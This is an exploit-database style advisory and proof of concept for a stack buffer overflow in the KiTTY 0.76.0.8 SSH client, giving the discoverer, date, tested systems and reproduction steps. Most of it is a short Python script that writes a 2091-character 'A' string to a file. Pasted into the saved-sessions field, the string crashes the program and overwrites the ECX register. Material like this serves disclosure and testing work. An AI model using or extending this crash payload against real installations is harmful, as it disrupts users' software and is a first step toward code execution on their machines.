Kitty 0.76.0.8 Stack Buffer Overflow

# Exploit Title: Kitty 0.76.0.8 Stack Buffer Overflow# Discovered by: Yehia Elghaly# Discovered Date: 2022-06-08# Vendor Homepage: http://www.9bis.net/kitty/index.html#!index.md# Software Link : https://www.fosshub.com/KiTTY.html?dwl=kitty_portable-0.76.0.8.exe# Tested Version: 0.76.0.8# Vulnerability Type: Buffer Overflow# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64# Description: Kitty 0.76.0.8 Stack Buffer Overflow# Steps to reproduce:# 1. - Run the python script and it will create exploit.txt file.# 3. - Kitty 0.76.0.8# 4. - Sessions -> Save# 5. - Paste the characters of txt to Saved/Sessions then click save# 6. - Crashed# Note: ECX Overwwrite #!/usr/bin/pythonexploit = 'A' * 2091try:     file = open("exploit.txt","w")    file.write(exploit)    file.close()    print("POC is created")except:    print("POC not created")